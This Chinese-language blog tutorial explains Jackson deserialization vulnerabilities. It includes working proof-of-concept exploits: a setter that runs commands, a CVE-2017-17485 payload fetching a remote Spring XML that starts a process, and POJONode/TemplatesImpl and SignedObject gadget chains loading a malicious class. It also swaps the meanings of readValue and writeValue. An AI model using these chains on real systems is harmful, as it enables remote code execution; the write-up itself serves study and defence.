Jackson反序列化漏洞
一、简介
Jackson是最流行的JSON解析器之一,具有很多的优先,如:依赖的jar包较少、解析速度快、运行时占用内存低、性能较好、简单易用等。
Jackson具有三大核心组件:
- jackson-core,核心包,提供基于”流模式”解析的相关 API,包括 JsonPaser 和 JsonGenerator。
- jackson-annotations,注解包,提供标准注解功能。
- jackson-databind ,数据绑定包, 提供基于”对象绑定” 解析的相关 API ( ObjectMapper ) 和”树模型” 解析的相关 API (JsonNode)。
maven依赖
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <dependencies> <dependency> <groupId>com.fasterxml.jackson.core</groupId> <artifactId>jackson-databind</artifactId> <version>2.9.3</version> </dependency> <dependency> <groupId>com.fasterxml.jackson.core</groupId> <artifactId>jackson-core</artifactId> <version>2.9.3</version> </dependency> <dependency> <groupId>com.fasterxml.jackson.core</groupId> <artifactId>jackson-annotations</artifactId> <version>2.9.3</version> </dependency> </dependencies>
|
二、序列化与反序列化
ObjectMapper
Jackson最常用的API,可以从字符串、流或文件中解析JSON,并创建表示已解析的JSON的Java对象。序列化使用readValue
,反序列化使用writeValue
、writeValueAsString
、writeValueAsBytes
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65
| public static void json2objectObjectMapper(){ String jsondata = "{\"name\":\"xiaoming\",\"age\":1000}"; ObjectMapper objectMapper = new ObjectMapper(); try { Person person = objectMapper.readValue(jsondata,Person.class); System.out.println("Name: "+person.getName()+"\nAge: "+person.getAge()); }catch (Exception e){ e.printStackTrace(); } } public static String object2jsonObjectMapper(){ Person person = new Person(); person.setName("xiaoming"); person.setAge(16); ObjectMapper objectMapper = new ObjectMapper(); try { String json = objectMapper.writeValueAsString(person); return json;
}catch (Exception e){ e.printStackTrace(); return "error"; } }
package org.example;
public class Person { private String name; private int age; private Object object; private int sex; public int getAge() { return age; }
public int getSex() { return sex; }
public Object getObject() { return object; }
public String getName() { return name; }
public void setObject(Object object) { this.object = object; }
public void setName(String name) { this.name = name; }
public void setSex(int sex) { this.sex = sex; }
public void setAge(int age) { this.age = age; } }
|
JsonPaser
JsonParser
的运行层级低于ObjectMapper
,因此JsonParser
比ObjectMapper
更快,但使用起来也比较麻烦。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| public static void object2jsonJsonParser(){ String json = "{\"name\":\"xiaoming\",\"age\":123}"; JsonFactory jsonFactory = new JsonFactory(); try { JsonParser parser = jsonFactory.createParser(json); System.out.println(parser); } catch (Exception e ){ e.printStackTrace(); } } public static void json2objectJsonParser(){ String json = "{\"name\":\"xiaoming\",\"age\":123}"; JsonFactory jsonFactory = new JsonFactory(); Person1 person1 =new Person1(); try{ JsonParser parser = jsonFactory.createParser(json); while(!parser.isClosed()){ JsonToken jsonToken = parser.nextToken(); if (JsonToken.FIELD_NAME.equals(jsonToken)){ String fieldName = parser.getCurrentName(); System.out.println(fieldName);
jsonToken=parser.nextToken();
if ("name".equals(fieldName)){ person1.name = parser.getValueAsString();
} else if ("age".equals(fieldName)){ person1.age = parser.getValueAsInt(); } }
System.out.println("name: "+person1.name); System.out.println("age: "+person1.age); } } catch (Exception e ){ e.printStackTrace(); } }
|
JsonGenerator
JsonGenerator用于将对象序列化成JSON或代码从中生成JSON的任何数据结构。
1 2 3 4 5 6 7 8 9 10 11 12 13
| public static void object2jsonJsonGenerator(){ JsonFactory jsonFactory = new JsonFactory(); try{ JsonGenerator jsonGenerator = jsonFactory.createGenerator(new File("output.json"), JsonEncoding.UTF8); jsonGenerator.writeStartObject(); jsonGenerator.writeStringField("name","test"); jsonGenerator.writeNumberField("age",23); jsonGenerator.writeEndObject(); jsonGenerator.close(); }catch (Exception e){ e.printStackTrace(); } }
|
因为Java允许同一个接口使用不同的实例而执行不同的操作,所以Jackson也就提供了相对于的服务。在序列化过程中,可以将具体的子类信息绑定到序列化内容中,以便于在反序列化过程中,即是类成员不是具体类型而是Object接口或其他抽象类仍可以直接找到目标子类对象。这其实可以通过DefaultTyping 和 @JsonTypeInfo 注解来实现。
DefaultTyping
DefaultTyping 是Jackson提供的enableDefaultTyping设置,其中包含四个值,其功能如下:
DefaultTyping类型 |
能进行序列化和反序列化的属性 |
JAVA_LANG_OBJECT |
属性的类型为Object |
OBJECT_AND_NON_CONCRETE |
属性的类型为Object 、Interface 、AbstractClass |
NON_CONCRETE_AND_ARRAYS |
属性的类型为Object 、Interface 、AbstractClass 、Array |
NON_FINAL |
所有除了声明为final之外的属性 |
用法示例:
1 2
| ObjectMapper objectMapper = new ObjectMapper(); objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.JAVA_LANG_OBJECT);
|
@JsonTypeInfo注解
注解类型 |
作用 |
抽象类属性能否反序列成功 |
JsonTypeInfo.Id.NONE |
用于指定在序列化和反序列化过程中不包含任何类型标识、不使用识别码 |
× |
JsonTypeInfo.Id.CLASS |
用于指定在序列化过程中指定具体的包名和类名 |
√ |
JsonTypeInfo.Id.MINIMAL_CLASS |
用于指定在序列化过程中指定具体的包名和类名 |
√ |
JsonTypeInfo.Id.NAME |
用于指定在序列化过程中指定具体的类名 |
× |
JsonTypeInfo.Id.CUSTOM |
自定义识别码,需要用户自己实现,不能直接使用 |
× |
反序列化流程
但是具体是如何调用,其原理是什么,我们还需要从反序列的流程入手了解:
首先,readValue
会调用_readMapAndClose
方法进行处理,获取构造类需要用到的基本信息:
准备就绪之后调用BeanDeserializer
中的deserialize
函数:
首先会对输入数据的格式进行判断,根据是否是顶层类采用不同的反序列化方式:
符合条件之后调用vanillaDeserialize函数,先构造实例再进行赋值:
createUsingDefault
函数会调用指定类的无参构造函数来生成类实例:
调用_constructor.newInstance()
实现无参的构造函数:
调用Person
类的无参构造函数完成了bean的实例化:
获取到Person
类实例之后会根据类的属性与传入的json数据继续成员变量名称比对, 以键值对的形式进行匹配,符合的则进行赋值。
先是调用了deserialize
函数进行解析,随后再利用setter进行赋值。
也就是说当满足前提条件的时候,Jackson反序列化会调用属性所属类的构造函数和setter方法,我们就可以在此做文章,属性中有Object
则考虑构造函数和setter函数,没有则进考虑setter函数。
例如一个简单的例子:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| public class Evil { public String cmd; public void setCmd(String cmd) { this.cmd = cmd; try { Runtime.getRuntime().exec(this.cmd); }catch (Exception e){ } } }
public static void main(String[] args) throws Exception{ String json = "{\"name\":\"Evil\",\"age\":100,\"object\":{\"@class\":\"org.example.Evil\",\"cmd\":\"calc\"},\"sex\":1}"; ObjectMapper objectMapper1 = new ObjectMapper(); Person person1 = objectMapper1.readValue(json,Person.class); }
|
三、反序列化漏洞
Jackson反序列化漏洞可分为两类,一是基于Jackson的反序列化机制,二是基于Jackson库中的某些类作为调用链中的某一段。
基于Jackson反序列化机制
由前面我们可以看到,Jackson在反序列化的时候类似于Fastjson,通过某些设置使得可以在json数据中指定具体的类信息,实现对特定类的实例化从进行恶意类加载进行攻击,具体的前提条件如下(满足其中之一即可):
- 调用了
ObjectMapper.enableDefaultTyping()
函数;
- 对要进行反序列化的类的属性使用了值为
JsonTypeInfo.Id.CLASS
的@JsonTypeInfo
注解;
- 对要进行反序列化的类的属性使用了值为
JsonTypeInfo.Id.MINIMAL_CLASS
的@JsonTypeInfo
注解;
CVE-2017-17485
pom.xml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64
| <?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <groupId>org.example</groupId> <artifactId>jackson1</artifactId> <version>1.0-SNAPSHOT</version> <properties> <maven.compiler.source>7</maven.compiler.source> <maven.compiler.target>7</maven.compiler.target> <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> </properties> <dependencies> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-beans</artifactId> <version>5.0.2.RELEASE</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-context</artifactId> <version>5.0.2.RELEASE</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-core</artifactId> <version>5.0.2.RELEASE</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-expression</artifactId> <version>5.0.2.RELEASE</version> </dependency> <dependency> <groupId>commons-logging</groupId> <artifactId>commons-logging</artifactId> <version>1.2</version> </dependency> <dependency> <groupId>com.fasterxml.jackson.core</groupId> <artifactId>jackson-annotations</artifactId> <version>2.7.9</version> </dependency> <dependency> <groupId>com.fasterxml.jackson.core</groupId> <artifactId>jackson-core</artifactId> <version>2.7.9</version> </dependency> <dependency> <groupId>com.fasterxml.jackson.core</groupId> <artifactId>jackson-databind</artifactId> <version>2.7.9</version> </dependency> </dependencies> </project>
|
poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| package org.example; import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;
public class CVE201717485 { public static void main(String[] args) {
String payload = "[\"org.springframework.context.support.ClassPathXmlApplicationContext\", \"http://127.0.0.1/spel.xml\"]"; ObjectMapper mapper = new ObjectMapper(); mapper.enableDefaultTyping(); try { mapper.readValue(payload, Object.class); } catch (IOException e) { e.printStackTrace(); } } }
|
spel.xml
1 2 3 4 5 6 7 8 9
| <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation=" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="pb" class="java.lang.ProcessBuilder"> <constructor-arg value="calc.exe" /> <property name="whatever" value="#{ pb.start() }"/> </bean> </beans>
|
POJONode
TemplatesImpl任意类加载
POJONode
类继承了BeanJsonNode
抽象类,在调用POJONode
的toString
方法的时候实际上调用的是BeanJsonNode
的toString
:
toString
的内部调用的其实是InternalNodeMapper.nodeToString()
内部调用的其实就是Jackson的节点JSON序列化方法writeValueAsString
,将对象序列化为JSON数据:
一路跟进最后是调用到了POJONode
的serialize
函数:
这里会对POJONode
的成员进行序列化:
最后会在获取成员变量的值时调用getter
也就是TemplatesImpl.getOutputProperties
,也就到了我们最熟悉的环节。
因此,只要POJONode
类的_value
成员是我们设置好的TemplatesImpl
类,那么在调用POJONode
的toString
的时候就能够触发任意类的加载。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| import com.fasterxml.jackson.databind.node.POJONode; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassPool; import javassist.CtClass; import javassist.CtMethod; import javax.xml.transform.Templates; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths;
public class POJONodeTest { public static void main(String[] args) throws Exception{ byte[] bytes = Files.readAllBytes(Paths.get("恶意类路径")); Templates templatesImpl = new TemplatesImpl(); setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes}); setFieldValue(templatesImpl, "_name", "aaa"); setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl()); POJONode jsonNodes = new POJONode(templatesImpl); jsonNodes.toString(); } private static void setFieldValue(Object obj, String field, Object arg) throws Exception{ Field f = obj.getClass().getDeclaredField(field); f.setAccessible(true); f.set(obj, arg); } }
|
当然这只是一条完整反序列化漏洞调用链的后半段,还需要接上从readObject
到toString
的调用才行。
说到toString
最先想到的肯定还是javax.management.BadAttributeValueExpException
这个类,它在readObject
过程中会获取val
这一成员,如果val
不是String类型且符合安全管理机制的话就会调用其toString
函数,那么我们只需要把val
这一成员的值设为带有TemplatesImpl``POJONode
类就可以了,整一条链子也就实现了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
| package org.example; import com.fasterxml.jackson.databind.node.POJONode; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javax.management.BadAttributeValueExpException; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.*; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Base64; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor; import javassist.CtMethod;
public class PON { public static void main(String[] args)throws Exception { CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode"); CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace"); ctClass.removeMethod(writeReplace); ctClass.toClass(); byte[] bytes = Files.readAllBytes(Paths.get("D:\\ctf_tools\\java_study\\rome\\shell.class")); Templates templatesImpl = new TemplatesImpl(); setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes}); setFieldValue(templatesImpl, "_name", "aaa"); setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl()); POJONode jsonNodes = new POJONode(templatesImpl); BadAttributeValueExpException exp = new BadAttributeValueExpException(null); Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val"); val.setAccessible(true); val.set(exp,jsonNodes); System.out.println(serial(exp)); deserial(serial(exp)); } public static String serial(Object o) throws Exception{ ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(o); oos.close(); String base64String = Base64.getEncoder().encodeToString(baos.toByteArray()); return base64String;
} public static void deserial(String data) throws Exception { byte[] base64decodedBytes = Base64.getDecoder().decode(data); ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject(); ois.close(); }
private static void setFieldValue(Object obj, String field, Object arg) throws Exception{ Field f = obj.getClass().getDeclaredField(field); f.setAccessible(true); f.set(obj, arg); } }
|
SignedObject二次反序列化
由前面我们知道POJONode
类的toString
函数在调用过程中在获取成员变量的值时调用getter
,回想起前面的ROME
反序列化可以想到SignedObject
类的getter
方法getObject
也能在这里被触发,实现二次反序列化,从而绕过Templates
被禁用的情况,这里我们也是只需要为POJONode
类的成员变量_value
赋值为带有二次反序列化内容的SignedObject
类即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149
| package org.example;
import com.fasterxml.jackson.databind.node.POJONode; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.syndication.feed.impl.EqualsBean; import com.sun.syndication.feed.impl.ToStringBean; import javassist.ClassPool; import javassist.CtClass; import javassist.CtMethod; import org.apache.commons.collections4.functors.ConstantTransformer;
import javax.management.BadAttributeValueExpException; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Field; import java.math.BigInteger; import java.nio.file.Files; import java.nio.file.Paths; import java.security.*; import java.security.interfaces.DSAParams; import java.security.interfaces.DSAPrivateKey; import java.util.Base64; import java.util.HashMap;
public class SignedObjectPON { public static void main(String[] args) throws Exception{ CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode"); CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace"); ctClass.removeMethod(writeReplace); ctClass.toClass();
TemplatesImpl templates = new TemplatesImpl(); byte[] bytes = Files.readAllBytes(Paths.get("D:\\ctf_tools\\java_study\\rome\\shell.class")); setValue(templates,"_name","aaa"); setValue(templates,"_bytecodes",new byte[][]{bytes}); setValue(templates,"_tfactory",new TransformerFactoryImpl()); ToStringBean toStringBean = new ToStringBean(Templates.class,new ConstantTransformer(1)); EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean); HashMap<Object,Object> hashMap = new HashMap<>(); hashMap.put(equalsBean,"123"); setValue(toStringBean,"_obj",templates); SignedObject signedObject = makeSObj(hashMap); POJONode jsonNodes = new POJONode(signedObject); BadAttributeValueExpException exp = new BadAttributeValueExpException(null); Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val"); val.setAccessible(true); val.set(exp,jsonNodes); System.out.println(serial(exp));
} public static String serial(Object o) throws Exception{ ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(o); oos.close();
String base64String = Base64.getEncoder().encodeToString(baos.toByteArray()); return base64String;
}
public static void deserial(String data) throws Exception { byte[] base64decodedBytes = Base64.getDecoder().decode(data); ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject(); ois.close(); }
private static void setValue(Object obj, String name, Object value) throws NoSuchFieldException, IllegalAccessException { Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj,value); } public static SignedObject makeSObj(Serializable o) throws IOException, InvalidKeyException, SignatureException { return new SignedObject((Serializable) o, new DSAPrivateKey() { @Override public DSAParams getParams() { return null; }
@Override public String getAlgorithm() { return null; }
@Override public String getFormat() { return null; }
@Override public byte[] getEncoded() { return new byte[0]; }
@Override public BigInteger getX() { return null; } }, new Signature("1") { @Override protected void engineInitVerify(PublicKey publicKey) throws InvalidKeyException {
}
@Override protected void engineInitSign(PrivateKey privateKey) throws InvalidKeyException {
}
@Override protected void engineUpdate(byte b) throws SignatureException {
}
@Override protected void engineUpdate(byte[] b, int off, int len) throws SignatureException {
}
@Override protected byte[] engineSign() throws SignatureException { return new byte[0]; }
@Override protected boolean engineVerify(byte[] sigBytes) throws SignatureException { return false; }
@Override protected void engineSetParameter(String param, Object value) throws InvalidParameterException {
}
@Override protected Object engineGetParameter(String param) throws InvalidParameterException { return null; } } ); } }
|
参考链接:
https://xz.aliyun.com/t/12966
https://www.cnblogs.com/LittleHann/p/17811918.html
http://www.mi1k7ea.com/2019/11/17/Jackson%E7%B3%BB%E5%88%97%E4%B8%89%E2%80%94CVE-2017-1748%EF%BC%88%E5%9F%BA%E4%BA%8EClassPathXmlApplicationContext%E5%88%A9%E7%94%A8%E9%93%BE%EF%BC%89/
http://www.mi1k7ea.com/2019/11/13/Jackson%E7%B3%BB%E5%88%97%E4%B8%80%E2%80%94%E2%80%94%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%9F%BA%E6%9C%AC%E5%8E%9F%E7%90%86/
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 hututu1024@126.com